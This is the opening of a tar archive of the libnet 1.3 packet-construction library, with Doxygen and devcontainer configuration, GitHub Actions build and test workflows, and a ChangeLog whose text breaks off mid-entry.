libnet-1.3/0000775000175000017500000000000014674023644011060 5ustar syqsyqlibnet-1.3/.codedocs0000664000175000017500000001154514506572036012650 0ustar syqsyq# CodeDocs.xyz Configuration File # # Rename this example to '.codedocs' and put it in the root directory of your # repository. This file is optional, documentation will still be generated # without it using sensible defaults. #--------------------------------------------------------------------------- # CodeDocs Configuration #--------------------------------------------------------------------------- # Include the Doxygen configuration from another file. # The file must be a relative path with respect to the root of the repository. # If any of the options in this doxyfile include a path (ie, INPUT), these # paths will be considered relative to the root of the repository, not the # location of the DOXYFILE. #DOXYFILE = # Specify external repository to link documentation with. # This is similar to Doxygen's TAGFILES option, but will automatically link to # tags of other repositories already using CodeDocs. List each repository to # link with by giving its location in the form of owner/repository. # For example: # TAGLINKS = doxygen/doxygen CodeDocs/osg # Note: these repositories must already be built on CodeDocs. TAGLINKS = #--------------------------------------------------------------------------- # Doxygen Configuration #--------------------------------------------------------------------------- # Doxygen configuration may also be placed in this file. # Currently, the following Doxygen configuration options are available. Refer # to http://doxygen.org/manual/config.html for detailed explanation of the # options. To request support for more options, contact support@codedocs.xyz. # # ABBREVIATE_BRIEF = # ALIASES = # ALLEXTERNALS = # ALLOW_UNICODE_NAMES = # ALPHABETICAL_INDEX = # ALWAYS_DETAILED_SEC = # AUTOLINK_SUPPORT = # BRIEF_MEMBER_DESC = # BUILTIN_STL_SUPPORT = # CALLER_GRAPH = # CALL_GRAPH = # CASE_SENSE_NAMES = # CITE_BIB_FILES = # CLASS_DIAGRAMS = # CLASS_GRAPH = # COLLABORATION_GRAPH = # COLS_IN_ALPHA_INDEX = # CPP_CLI_SUPPORT = # DIAFILE_DIRS = # DIRECTORY_GRAPH = # DISABLE_INDEX = # DISTRIBUTE_GROUP_DOC = # DOTFILE_DIRS = # DOT_FONTNAME = # DOT_FONTSIZE = # DOT_GRAPH_MAX_NODES = # DOT_IMAGE_FORMAT = # DOT_TRANSPARENT = # DOXYFILE_ENCODING = # ENABLED_SECTIONS = # ENABLE_PREPROCESSING = # ENUM_VALUES_PER_LINE = # EXAMPLE_PATH = # EXAMPLE_PATTERNS = # EXAMPLE_RECURSIVE = # EXCLUDE = # EXCLUDE_PATTERNS = # EXCLUDE_SYMBOLS = # EXPAND_AS_DEFINED = # EXPAND_ONLY_PREDEF = # EXTENSION_MAPPING = # EXTERNAL_GROUPS = # EXTERNAL_PAGES = # EXTRACT_ALL = # EXTRACT_ANON_NSPACES = # EXTRACT_LOCAL_CLASSES = # EXTRACT_LOCAL_METHODS = # EXTRACT_PACKAGE = # EXTRACT_PRIVATE = # EXTRACT_STATIC = # EXT_LINKS_IN_WINDOW = # FILE_PATTERNS = # FORCE_LOCAL_INCLUDES = # FORMULA_FONTSIZE = # FORMULA_TRANSPARENT = # FULL_PATH_NAMES = # GENERATE_BUGLIST = # GENERATE_DEPRECATEDLIST = # GENERATE_LEGEND = # GENERATE_TESTLIST = # GENERATE_TODOLIST = # GENERATE_TREEVIEW = # GRAPHICAL_HIERARCHY = # GROUP_GRAPHS = # GROUP_NESTED_COMPOUNDS = # HIDE_COMPOUND_REFERENCE= = # HIDE_FRIEND_COMPOUNDS = # HIDE_IN_BODY_DOCS = # HIDE_SCOPE_NAMES = # HIDE_UNDOC_CLASSES = # HIDE_UNDOC_MEMBERS = # HIDE_UNDOC_RELATIONS = # HTML_COLORSTYLE_GAMMA = # HTML_COLORSTYLE_HUE = # HTML_COLORSTYLE_SAT = # HTML_DYNAMIC_SECTIONS = # HTML_EXTRA_FILES = # HTML_EXTRA_STYLESHEET = # HTML_FOOTER = # HTML_HEADER = # HTML_INDEX_NUM_ENTRIES = # HTML_STYLESHEET = # HTML_TIMESTAMP = # IDL_PROPERTY_SUPPORT = # IGNORE_PREFIX = # IMAGE_PATH = # INCLUDED_BY_GRAPH = # INCLUDE_FILE_PATTERNS = # INCLUDE_GRAPH = # INCLUDE_PATH = # INHERIT_DOCS = # INLINE_GROUPED_CLASSES = # INLINE_INFO = # INLINE_INHERITED_MEMB = # INLINE_SIMPLE_STRUCTS = # INLINE_SOURCES = # INPUT = # INPUT_ENCODING = # INTERACTIVE_SVG = # INTERNAL_DOCS = # JAVADOC_AUTOBRIEF = # LAYOUT_FILE = # MACRO_EXPANSION = # MARKDOWN_SUPPORT = # MAX_DOT_GRAPH_DEPTH = # MSCFILE_DIRS = # MULTILINE_CPP_IS_BRIEF = # OPTIMIZE_FOR_FORTRAN = # OPTIMIZE_OUTPUT_FOR_C = # OPTIMIZE_OUTPUT_JAVA = # OPTIMIZE_OUTPUT_VHDL = # OUTPUT_LANGUAGE = # PLANTUML_JAR_PATH = # PREDEFINED = PROJECT_BRIEF = "A Portable Framework for Low-Level Network Packet Construction" # PROJECT_LOGO = PROJECT_NAME = "libnet" PROJECT_NUMBER = "latest" # QT_AUTOBRIEF = # RECURSIVE = # REFERENCED_BY_RELATION = # REFERENCES_LINK_SOURCE = # REFERENCES_RELATION = # REPEAT_BRIEF = # SEARCHENGINE = # SEARCH_INCLUDES = # SEPARATE_MEMBER_PAGES = # SHORT_NAMES = # SHOW_FILES = # SHOW_GROUPED_MEMB_INC = # SHOW_INCLUDE_FILES = # SHOW_NAMESPACES = # SHOW_USED_FILES = # SIP_SUPPORT = # SKIP_FUNCTION_MACROS = # SORT_BRIEF_DOCS = # SORT_BY_SCOPE_NAME = # SORT_GROUP_NAMES = # SORT_MEMBERS_CTORS_1ST = # SORT_MEMBER_DOCS = # SOURCE_BROWSER = # SOURCE_TOOLTIPS = # STRICT_PROTO_MATCHING = # STRIP_CODE_COMMENTS = # STRIP_FROM_INC_PATH = # STRIP_FROM_PATH = # SUBGROUPING = # TAB_SIZE = # TEMPLATE_RELATIONS = # TREEVIEW_WIDTH = # TYPEDEF_HIDES_STRUCT = # UML_LIMIT_NUM_FIELDS = # UML_LOOK = # USE_MDFILE_AS_MAINPAGE = # VERBATIM_HEADERS = # libnet-1.3/.devcontainer/0000775000175000017500000000000014506572036013615 5ustar syqsyqlibnet-1.3/.devcontainer/Dockerfile0000664000175000017500000000457614506572036015623 0ustar syqsyqARG VARIANT="ubuntu-20.04" FROM mcr.microsoft.com/vscode/devcontainers/cpp:0-${VARIANT} LABEL org.opencontainers.image.title "libnet" LABEL org.opencontainers.image.description "A Portable Framework for Low-Level Network Packet Construction" LABEL org.opencontainers.image.documentation "https://codedocs.xyz/libnet/libnet/" LABEL org.opencontainers.image.url "https://github.com/libnet/libnet/" LABEL org.opencontainers.image.licenses "BSD-3" RUN apt-get update \ && export DEBIAN_FRONTEND=noninteractive \ && apt-get -y install --no-install-recommends \ sudo \ vim \ make \ autotools-dev \ autoconf \ automake \ doxygen \ perl \ build-essential \ gcc \ clang \ clangd-10 \ bear \ libtool \ net-tools \ iproute2 \ indent \ libcmocka-dev \ cscope \ clangd-10 \ clang-format-10 \ python3-pip \ indent \ && rm -rf /var/lib/apt/lists/* libnet-1.3/.devcontainer/devcontainer.json0000664000175000017500000000243014506572036017170 0ustar syqsyq// For format details, see https://aka.ms/devcontainer.json. // For config options, see the README at: // https://github.com/microsoft/vscode-dev-containers/tree/v0.154.2/containers/cpp { "name": "Libnet", "build": { "dockerfile": "Dockerfile", "args": { "VARIANT": "ubuntu-20.04" } }, "runArgs": [ "--cap-add=SYS_PTRACE", "--security-opt", "seccomp=unconfined" ], // Set *default* container specific settings.json values on container create. "settings": { "terminal.integrated.defaultProfile.linux": "bash", "clangd.path": "/usr/bin/clangd-10", "editor.formatOnSave": false, "editor.defaultFormatter": "jkillian.custom-local-formatters", "customLocalFormatters.formatters": [ { "command": "./indent.sh $(git diff --name-only)", "languages": ["c", "cpp"] } ] }, // Add the IDs of extensions you want installed when the container is created. "extensions": [ "ms-vscode.cpptools", "llvm-vs-code-extensions.vscode-clangd", "jkillian.custom-local-formatters", "xulion.codescope", "eamodio.gitlens" ], // Use 'forwardPorts' to make a list of ports inside the container available locally. // "forwardPorts": [], // Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. "remoteUser": "vscode" } libnet-1.3/.github/0000775000175000017500000000000014506572036012416 5ustar syqsyqlibnet-1.3/.github/workflows/0000775000175000017500000000000014506572036014453 5ustar syqsyqlibnet-1.3/.github/workflows/build-freebsd.yml0000664000175000017500000000161414506572036017707 0ustar syqsyqname: FreeBSD on: [push, pull_request] env: # https://docs.github.com/en/actions/using-github-hosted-runners/about-github-hosted-runners MAKEFLAGS: -j3 jobs: build: strategy: matrix: name: [ freebsd-13-gcc, freebsd-13-clang ] include: - name: freebsd-13-gcc os: macos-latest cc: gcc - name: freebsd-13-clang os: macos-latest cc: clang runs-on: ${{ matrix.os }} steps: - uses: actions/checkout@v3 - name: Build # https://github.com/vmactions/freebsd-vm uses: vmactions/freebsd-vm@v0 with: prepare: | pkg install -y autotools gcc llvm doxygen tree run: | ./autogen.sh ./configure --prefix=/usr CC=${{ matrix.cc }} make V=1 make install-strip DESTDIR=/tmp tree /tmp/usr libnet-1.3/.github/workflows/build-windows.yml0000664000175000017500000000142614506572036017770 0ustar syqsyqname: Windows on: [push, pull_request] jobs: windows-build: runs-on: windows-2019 strategy: matrix: arch: [x86, x86_64] fail-fast: false steps: - uses: actions/checkout@v3 - uses: microsoft/setup-msbuild@v1.1 - name: Install Npcap run: | Invoke-WebRequest https://npcap.com/dist/npcap-sdk-1.13.zip -OutFile ../npcap-sdk.zip Expand-Archive ../npcap-sdk.zip -DestinationPath ../npcap-sdk - name: Build ${{ matrix.arch }} shell: cmd run: | .\win32\msvcbuild.bat ${{ matrix.arch }} - name: Archive DLL files uses: actions/upload-artifact@v3 with: name: libnet-${{ matrix.arch }}-build${{ github.run_number }} path: lib/${{ matrix.arch }} libnet-1.3/.github/workflows/build.yml0000664000175000017500000000707514506572036016306 0ustar syqsyqname: Linux/macOS on: [push, pull_request] env: # https://docs.github.com/en/actions/using-github-hosted-runners/about-github-hosted-runners MAKEFLAGS: -j3 GCC_CFLAGS: "-Wall -Wextra -Wshadow -Wunused -Wpedantic -Wmisleading-indentation -Wduplicated-cond -Wduplicated-branches -Wlogical-op" CLANG_CFLAGS: "-Wall -Wextra -Wshadow -Wunused -Wpedantic" jobs: build: strategy: matrix: name: [ ubuntu-latest-gcc, ubuntu-latest-clang, macos-latest-clang ] include: - name: ubuntu-latest-gcc os: ubuntu-latest cc: gcc - name: ubuntu-latest-clang os: ubuntu-latest cc: clang - name: macos-latest-clang os: macos-latest cc: clang runs-on: ${{ matrix.os }} steps: - uses: actions/checkout@v3 - name: Install MacOS dependencies if: startsWith(matrix.os,'macos') run: | brew update brew install automake tree doxygen - name: Install Linux dependencies if: startsWith(matrix.os,'ubuntu') run: | sudo apt-get update sudo apt-get install -y build-essential autoconf automake clang tree doxygen - name: Configure run: | ./autogen.sh ./configure --prefix=/usr CC=${{ matrix.cc }} - name: Build run: | make V=1 make install-strip DESTDIR=/tmp tree /tmp/usr unit-tests: strategy: matrix: name: [ ubuntu-latest-gcc, ubuntu-latest-clang, macos-latest-clang ] include: - name: ubuntu-latest-gcc os: ubuntu-latest cc: gcc - name: ubuntu-latest-clang os: ubuntu-latest cc: clang - name: macos-latest-clang os: macos-latest cc: clang runs-on: ${{ matrix.os }} steps: - uses: actions/checkout@v3 - name: Install MacOS dependencies if: startsWith(matrix.os,'macos') run: | brew update brew install automake tree doxygen cmocka - name: Install Linux dependencies if: startsWith(matrix.os,'ubuntu') run: | sudo apt-get update sudo apt-get install -y build-essential autoconf automake tree doxygen libcmocka-dev - name: Configure run: | if ${{ matrix.cc == 'gcc' }}; then ./autogen.sh ./configure --prefix=/usr CC=${{ matrix.cc }} CFLAGS="${GCC_CFLAGS}" --enable-tests else ./autogen.sh ./configure --prefix=/usr CC=${{ matrix.cc }} CFLAGS="${CLANG_CFLAGS}" --enable-tests fi - name: Build run: | make V=1 - name: Run Linux unit tests if: startsWith(matrix.os,'ubuntu') run: | rc=true make check || rc=false echo "## Test Results" >> $GITHUB_STEP_SUMMARY echo '```' >> $GITHUB_STEP_SUMMARY cat test/test-suite.log >> $GITHUB_STEP_SUMMARY echo '```' >> $GITHUB_STEP_SUMMARY cat test/test-suite.log eval $rc - name: Run macOS unit tests if: startsWith(matrix.os,'macos') run: | rc=true sudo make check || rc=false echo "## Test Results" >> $GITHUB_STEP_SUMMARY echo '```' >> $GITHUB_STEP_SUMMARY cat test/test-suite.log >> $GITHUB_STEP_SUMMARY echo '```' >> $GITHUB_STEP_SUMMARY cat test/test-suite.log ls -l /dev/bpf* || true eval $rc libnet-1.3/.github/workflows/container.yml0000664000175000017500000000263114506572036017162 0ustar syqsyqname: Visual Studio Codespaces Image on: push: branches: - master workflow_dispatch: jobs: build: if: ${{github.repository_owner == 'libnet' && github.ref_name == 'master'}} runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: docker/metadata-action@v5 id: meta with: # list of Docker images to use as base name for tags images: | ghcr.io/libnet/libnet-vscode # generate Docker tags based on the following events/attributes tags: | type=schedule type=ref,event=branch type=ref,event=pr type=semver,pattern={{version}} type=semver,pattern={{major}}.{{minor}} type=semver,pattern={{major}} type=sha labels: | org.opencontainers.image.source=https://github.com/libnet/libnet/tree/${{ github.sha }}/ - uses: docker/setup-buildx-action@v3 - name: Log in to GHCR if: github.event_name != 'pull_request' uses: docker/login-action@v3 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.GITHUB_TOKEN }} - uses: docker/build-push-action@v5 with: context: . file: .devcontainer/Dockerfile push: ${{ github.event_name != 'pull_request' }} tags: ${{ steps.meta.outputs.tags }} labels: ${{ steps.meta.outputs.labels }} libnet-1.3/.github/workflows/release.yml0000664000175000017500000000220714506572036016617 0ustar syqsyqname: Release General on: push: tags: - 'v[0-9]+.[0-9]+*' jobs: release: name: Build and upload release tarball if: startsWith(github.ref, 'refs/tags/') runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - name: Installing dependencies ... run: | sudo apt-get update sudo apt-get install -y build-essential autoconf automake tree doxygen libcmocka-dev - name: Creating Makefiles ... run: | ./autogen.sh ./configure --prefix= --enable-tests - name: Build release ... run: | make release || (cat test/test-suite.log; false) ls -lF ../ mkdir -p artifacts/ mv ../*.tar.* ../*.zip* artifacts/ - name: Extract ChangeLog entry ... run: | awk '/-----*/{if (x == 1) exit; x=1;next}x' ChangeLog.md \ |head -n -1 > release.md cat release.md - name: Create and upload release ... uses: ncipollo/release-action@v1 with: name: libnet v${{ github.ref_name }} bodyFile: "release.md" artifacts: "artifacts/*" libnet-1.3/.gitignore0000664000175000017500000000101214506572036013040 0ustar syqsyq*.la *.dll *.exe *.exp *.gcno *.lo *.loT *.o *.obj *.out.dSYM *.so.dSYM *~ .*.swp .libs/ GPATH GRTAGS GTAGS Makefile Makefile.in aclocal.m4 ar-lib autom4te.cache compile config.cache config.guess config.log config.status config.sub configure install-sh libnet.pc libnet*.changes libnet*.deb libnet-1.? libnet-1.?.? libnet-1.?.?.tar.gz libnet-1.?.tar.gz libnet-1.?.?.zip libnet-1.?.zip libnet-config libtool ltmain.sh missing stamp-* tags tap-driver.sh test-driver .cache compile_commands* libnet_unit_tests .vscode/cscope libnet-1.3/.vscode/0000775000175000017500000000000014506572036012417 5ustar syqsyqlibnet-1.3/.vscode/c_cpp_properties.json0000664000175000017500000000067514506572036016662 0ustar syqsyq{ "configurations": [ { "name": "Linux", "includePath": [ "${workspaceFolder}/**" ], "defines": [], "compilerPath": "/usr/bin/clang", "cStandard": "c11", "cppStandard": "c++17", "intelliSenseMode": "clang-x64", "compileCommands": "${workspaceFolder}/compile_commands.json" } ], "version": 4 } libnet-1.3/ChangeLog.md0000664000175000017500000005674314506572036013246 0ustar syqsyqChange Log ========== All relevant changes are documented in this file. For a complete list of contributors, see the GIT commit log. [v1.3][] - 2023-10-02 --------------------- > **Note:** MSYS2 and Cygwin builds for Windows do not work. Instead we > recommend msbuild (and npcap). If you are a Windows hacker and have > experience with MSYS2 and C, and want to help, please get in touch! ### Changes - License change of critical files from 4-clause BSD to 3-clause and 2-clause BSD. This fixes issue #85: "GPL license compatibility". - Migrate from Travis-CI (Linux) and Appveyor (Win32) to GitHub Actions - Win32 changes: - switch to npcap from winpcap - Simplify and update build scripts - Encode version in DLL instead of in filename **Valery Ivanov:** - Add support for LLDP, mandatory TLVs. - Add support for Cisco UniDirectional Link Detection (UDLD), RFC5171 - Initial support for unit tests: - `libnet-build_ethernet()` - Complete UDLD API tests - Initial "devcontainer": provide VS Code development environment for rapid setup of a development environment - Run unit tests in GitHub Actions - New GitHub Action for FreeBSD 13 clang/gcc **Beniamin Sandu:** - Calling `libnet_init()` with a RAW type no longer sets a TX buffer max size. Use the new `libnet_setfd_max_sndbuf()` instead when needed. **Hervé Boisse:** - Remove support for `SOCK_PACKET` sockets causing invalid builds on, e.g., musl libc. We assume everyone on Linux has `PF_PACKET` now. ### Fixes - Fix #139: fail-to-build-from-source on FreeBSD **Valery Ivanov:** - Fix #122: unused parameter warnings - Fix #123: potential memory leak in `libnet_cq_add()` - Fix #124: potential name conflict with C++ keyword `new` **Thomas Habets:** - Fix #96: pointer type warnings when dumping raw data with `%p` - Fix #97: non-standard types: - `int64_t` instead of `__int64_t` for mingw cross build - `uint32_t` instead of `u_int` and `uint16_t` instead of `u_short` - Fix #98: lots of signed vs unsigned comparisons - Fix #102: possible buffer overflows in `libnet_plist_chain_dump_string()` **Bernhard M. Wiedemann:** - Reproducible build fixes for man-page generation, use LC_ALL=C and UTC - Simplify `fixmanpages` **Adrian Reber:** - Fix #120: possible NULL pointer dereference in `libnet_cq_add()` - Fix #120: memory leak in `libnet_plist_chain_new()` **Stephan Hartmann:** - Fix segmentation fault in `libnet_ifaddrlist()` **Andy Roulin:** - Fix #150: segfault when number of IPs > 512 [v1.2][] - 2019-10-16 --------------------- Release curated by Sam Roberts and Joachim Nilsson. ### Changes - Removed Lua bindings from repo and dist files, now available separately - Removed generated HTML and Nroff (man pages) documentation files, must be regenerated with Doxygen using `make doc` - Add `pkg-config` support with `libnet.pc`, replaces `libnet-config` tool, although it is kept for compatibility for now - Factorize socket setup code for socket opening to provide output device selection for IPv4 - Make `libnet_get_hwaddr()` work with 802.1q interfaces in bpf (BSD) - New API for OSPF HELLO messages, with neighbor ### Fixes - Use `getifaddrs()` on OpnBSD and Linux - For samples, `netinet/in.h` is not on windows - Fix errors with missing `IPPROTO_MH` on windows - Fix build error on Mac OS X - Fix #34 checksum caculation when IPv6 extension headers being used - Remove unneeded trailing `-Wl` from `-version-info` line - `libnet_build_snmp()` fix warning - Use `LIBNET_*RESOLVE` const in `libnet_name2addr*` - Fix i486 sample synflood6 warning - Some samples need `#include` for `IPPROTO_*` on OpenBSD 5.2 - Fix gcc warnings - Check for `socklen_t`. Suggested by g.esp and Stefanos Harhalakis - libnet: update for obsolete INCLUDE directive - Fix warning inside comment - Automatic link options `#pragma comment(lib, ...)` are only for MSVC - Fix several warnings for MS C/C++ compiler - `libnet_open_raw4()` doesn't return a SOCKET on win32 - Fixes error messages sometimes include newline, sometimes not - Properly set `l->err_buf` if `libnet_ifaddrlist()` fails - dlpi: Try harder to find the device for the interface - dlpi: Correctly extract unit number from devices with numbers in their name - Make interface selection work for interfaces with multiple addresses - Fix memory leak, device list needs to freed after use - Fix file descriptor leak in `libnet_ifaddrlist()` - Fix `libnet_get_hwaddr()` for large(!) number of interfaces - Fix to support musl libc, removes support for GLIBC <2.1 - Fix win32 buffer overrun in `libnet_get_ipaddr4()` - Interface selection was ignoring interfaces with IPv6 - Use `LIBNET_API` on public functions, instead of an export file - Add Visual Studio 2010 project files, with build instructions - Define INET6 on IRIX, making libnet compile cleanly - Check for FreeBSD pre-11 before enabling `LIBNET_BSD_BYTE_SWAP` - Use `LIBNET_BSDISH_OS` and `LIBNET_BSD_BYTE_SWAP` on Darwin - Add BSD byteswap for Darwin. Otherwise `sendto(` returns `EINVAL` - `netinet/in.h` is needed for `IPPROTO_` and `sockaddr_in` [v1.1.6][] - 2012-03-06 ----------------------- Release curated by Sam Roberts. ### Changes - Note about why including libnet.h breaks dnet.h/dumbnet.h (Sam Roberts) - Clean up use of single and bracket quotes. (Sam Roberts) - FreeBSD and Solaris volunteers to contibute. (Sam Roberts) - Prep for 1.1.6 release, such as bumping version (Sam Roberts) - Add people who have volunteered to check release candidates. (Sam Roberts) - Rework libnet_autobuild_ipv6() to eliminate code duplication. (Sam Roberts) - Implemented libnet_autobuild_ipv6() (repolho) - Implemented unix version of libnet_get_ipaddr6() (repolho) - Reintroduce libnet_pblock_record_ip_offset() which is empty. (Sam Roberts) - Make clear that all contributions are under libnet copyright. (Sam Roberts) - Update for doxygen 1.7.4. (Sam Roberts) - Note that PORTED is no longer maintained. (Sam Roberts) - Note that CONTRIB is no longer maintained. (Sam Roberts) - Prep for upcoming 1.1.6 release. (Sam Roberts) - Remove BUGS, it referred to non-existent code. (Sam Roberts) - Reworked icmpv6 patch to parallel the form of icmpv4 support. (Sam Roberts) - Don't depend on netinet/ip.h. (Sam Roberts) - Remove unused variable. (Sam Roberts) - Support building ICMPv6 packets. (someone) - Use SO_BINDTODEVICE to force packets out opened device. (someone) - Always use an IPPROTO of TCP when calculating TCP checksums. (Sam Roberts) - Use correct addr type for addrlen calculation. (someone) - libnet_build_igmp reserved field was mistakenly called 'code' (Sam Roberts) - Documentation doesn't include any gif files. (Sam Roberts) - Enable IPV6 support on Solaris 11. (Rich Burridge) - Presence of linux's PF_PACKET sockets is now detected. The acinclude.m4 merged in from packetfactory's 1.1.3-rc branch mysteriously assumed that that there was no PF_PACKET if the target OS was linux, which is the opposite of what we want. (Sam Roberts) - pblock_append deals with raw memory and structs, so declare it correctly (Sam Roberts) - Clarified types and sizes of DHCP/BOOTP chaddr, sname, and file. chaddr is a hardware address, with size specified separately, whereas sname and file are null terminated strings. (Sam Roberts) - Explicitly ignore return value of write (some systems now warn about this). (Sam Roberts) - Synchronize comment about h_len with parameter name in function. (Sam Roberts) - mkinstalldirs is replaced by autogen.sh. Maybe it shouldn't be checked in? (Sam Roberts) - autogen retries if /sw/... doesn't exist (Sam Roberts) ### Fixes - Only use getifaddrs() if it exists. (reported by Dagobert Michelsen) (Sam Roberts) - ICMPv6 struct is too long, so use length macro (sickmind@lavabit.com) (Sam Roberts) - ICMPv6 pblock sizes are needed to calculate IPv6's ip_len (reported by sickmind@lavabit.com) (Sam Roberts) - Fix doc comment format errors reported by doxygen. (Sam Roberts) - Fixed typo in error message. (Thomas Habets) - Trying to fix write errors (Víctor Martínez) - Fix libnet_build_igmp() to not reverse the order of the ip address. libnet APIs that take IP addresses as a uint32_t expect them to already be in network byte order. (Sam Roberts) - Fixes a buffer overflow issue when copying chaddr, file, and sname fields to the DHCP header. (allfro) - Fixes improper calculation of header size when libnet_pblock_probe is called. payload_s must be added to the header length in order to accommodate for the existence of a non-NULL payload. Otherwise the user is prompted with a 'memcpy would cause overflow' error and the program exits. (allfro) - Fixes incorrect memory block size set in the timeexceed and redirect builders. The n variable does not add the size of the payload (payload_s) for proper allocation of the buffer when payload is not NULL and payload_s is greater than 0. This results in a memcpy buffer overflow error when libnet_pblock_append is called exiting the program. (allfro) - Fixes a bug that incorrectly converts the addr, mask, and next_hop fields to network byte order. Users will usually call libnet_name2addr4 to fill these fields and this function already provides a network byte-ordered value. (allfro) - snap parameter was getting copied into the dhost field. (Sam Roberts) - h_len is no longer used, so pass zero. Coverity noticed that stack garbage was being passed instead of a valid value, its just that the value isn't used, and incluing l->total_size is wrong when the pblock is being updated (though it will work on pblock creation). (Sam Roberts) - Length n should include the value_hdr. (Sam Roberts) - Coverity: UNINIT (Jiri Popelka) - Coverity: REVERSE_INULL (Jiri Popelka) - Coverity: RESOURCE_LEAK (Jiri Popelka) - Coverity: OVERRUN_STATIC (Jiri Popelka) - Coverity: OVERRUN_STATIC (Jiri Popelka) - Coverity: OVERRUN_STATIC (Jiri Popelka) - Coverity: FORWARD_NULL (Jiri Popelka) - Coverity: FORWARD_NULL (Jiri Popelka) - Coverity: CHECKED_RETURN (Jiri Popelka) - build_ipv6: set higher traffic class bits (Ulrich Weber) - Fix missing uint instead of u_int (Dagobert Michelsen) [v1.1.5][] - 2010-11-03 ----------------------- Release curated by Sam Roberts. ### Changes - IRIX: Get MAC address from `ioctl()`, not by spawning shell. (Thomas Habets) - Cleaned up implementations of `libnet_get_hwaddr()`, some leaked memory, one returned a pointer to data on the stack, and the others return a pointer to static data. I'm settling on the non-reentrant static data form. (Sam Roberts) - Further simplify `autogen.sh` (Sam Roberts) - Removed dependency on `net/bpf.h`, and on `pcap.h`. (Sam Roberts) - `LBL_ALIGN` check is unused, removing. (Sam Roberts) - Don't include `pcap.h` if we've already got `net/bpf.h`, pcap has it's own bpf. (Sam Roberts) - Get DLT types from the source, `pcap.h`. (Sam Roberts) - Use `autoconf -ivf` in autogen.sh (suggested by alon.barlev@gmail.com) (Sam Roberts) - Add a link to the old docs. (Sam Roberts) - Added links to github and sourceforge. (Sam Roberts) - Replace C99/C++ comments with traditional C comments. (alon.barlev@gmail.com) (Sam Roberts) - Closer backwards compat, assume its ipv4 if it's not ipv6. This seems totally wrong, but so it goes. (Sam Roberts) - Try using the `ip_len` header field to guess the input buffer's size. (Sam Roberts) - `libnet_do_checksum()`, despite being "internal", is used by external code. libnet needs to maintain backwards API compatibility, tcpsic from the isic package is an example of a binary failing when calling the new API with the old arguments. (Sam Roberts) - Use libtool-1 or libtool-2 whatever available (alon.barlev@gmail.com) (Sam Roberts) - Remove dead code. (Sam Roberts) - h_len is calculated for ip, udp, tcp, icmp, and igmp, so is allowed to be zero. (Sam Roberts) - Avoid mallocing zero bytes, it perturbs electric fence. (Sam Roberts) - `ip_offset` is now calculated on the fly, and UDP and TCP no longer use `h_len` (Sam Roberts) - IP offset calculation should allow nesting of IP protocols. (Sam Roberts) - Remove gccisms in bitfield definitions. (Sam Roberts) - injection type `of LIBNET_NONE`, for packet construction without injection (also, more const correctness) (Sam Roberts) - Notes about checksumming. (Sam Roberts) - Updated comments and notes. (Sam Roberts) - Added missing pblock types, and made strings consistent with definitions. (Sam Roberts) - Change version policy, we will be 1.1.4 until 1.1.5 is released. (Sam Roberts) - Bring CHANGELOG up to date with today, and script used to generated it. (Sam Roberts) - Begin implementation and tests for repairing pblocks after an update. (Sam Roberts) - Clarifications in document comments. (Sam Roberts) - Don't doxygen process internal header libnet-headers.h (Sam Roberts) - Note about `build_data`, which doesn't update `ip_offset`, among other problems. (Sam Roberts) - Why don't TCP and UDP use the DATA pblock type? (Sam Roberts) - whitespace cleanup (Sam Roberts) - Summarize changes for log. (Sam Roberts) - Reindented, removing hard tabs, and using consistent brace positioning. (Sam Roberts) - configure.in: Check for `uint{16,32,64}_t` (Thomas Habets) - Use `uint64_t`, not `u_int64_t` (Thomas Habets) - configure.in: check for `gethostbyname2()` (Thomas Habets) - define a lying `gethostbyname2()` if it's not defined (Thomas Habets) - define `STDOUT_FILENO` if it's not defined (Thomas Habets) - Configure switch to install samples (Sam Roberts) - Attempt at applying a patch to get installable samples, which doesn't work. (Sam Roberts) - Convert CRLF to LF. (Sam Roberts) - Auto* changes to work on OS X from git checkout. (Sam Roberts) - Add srcdir to include path. (Sam Roberts) - Beginning 1.1.5 development. (Sam Roberts) ### Fixes - Compile fix for IRIX (added includes) (Thomas Habets) - Don't explicitly check for UID 0, we may have capabilities even if not root. (Thomas Habets) (Sam Roberts) - Visual C++ compiler(v9.0) uses bitfield type as a hint to pad the bitfield, so struct was too long. (Sam Roberts) - Make `libnet_get_hwaddr()` work in the last few releases of OpenBSD (stu@spacehopper.org) (Sam Roberts) - Don't distribute `libnet.h`, it is generated by `configure` (alon.barlev@gmail.com) (Sam Roberts) - AIX build failures fixed, cause was inclusion of system headers libnet no longer uses (alon.barlev@gmail.com) (Sam Roberts) - checksum would segfault if a IP checksum was requested for a non-ipv4 header (Sam Roberts) - merged icmpv6 patch in, but I believe either it or the `sample/icmp6_unreach` generates the cksum incorrectly (victor@inliniac.net) (Sam Roberts) - Avoid looking at `/dev` and `/usr/include` when cross-compiling (alon.barlev@gmail.com) Alon: The following code support cross compiling: 1. You CANNOT check for `/usr/include` stuff as cross compiler is installed else-where. Autoconf know how to do this, use its header detection logic and ask the result. 2. Testing for `/dev/` can be done only when not cross compiling... (Sam Roberts) - Corrected `target_os` check, it was broke for linuxgnu, and m4 syntax was invalid (alon.barlev@gmail.com) Alon:The following change is needed in order to solve two issues: 1. linuxgnu and such target os. 2. You cannot set variable with space before '=' as it tries to execute the variable... 3. Print result of test in case of linux (Sam Roberts) - `--with-link-layer` broken, was using wrong macro name, and didn't include all link types (Sam Roberts) - `ac_cv_c_bigendian` is yes, not "big" (alon.barlev@gmail.com) (Sam Roberts) - `libnet_t`'s fd should be initialized to an invalid value, or `libnet_destroy()` will close stdin. (Sam Roberts) - Alon's use of `AC_CHECK_HEADERS` fails to detect headers. Reverted part of 57acd56f09158decb69f301e7547ce8cde6ac63f (Sam Roberts) - With `link_none`, the link apis were failing with not error message. (Sam Roberts) - man doc makefile wasn't correctly referring to the srcdir (alon.barlev@gmail.com) (Sam Roberts) - autotools patches for cross compiling and separate builddir (alon.barlev@gmail.com) (Sam Roberts) - html doc makefile wasn't correctly referring to the srcdir (alon.barlev@gmail.com) (Sam Roberts) - `libnet_build_tcp()` was not returning the ptag. (Sam Roberts) - Packet boundaries are now passed to `_do_checksum()`, so it can validate its input. Hopefully, this will end the recurring segmentation faults due to buffer overruns. (Sam Roberts) - TCP building is triggering memory overwrites; closer examination shows the link list manipulation to be wrong, and the checksumming approach to be incapable of working. I reworked code to simplify and clarify how it works currently, in preparation to fixing it. (Sam Roberts) - Null the pointer in the about-to-be-freed structure, not the one on the stack. (Sam Roberts) - 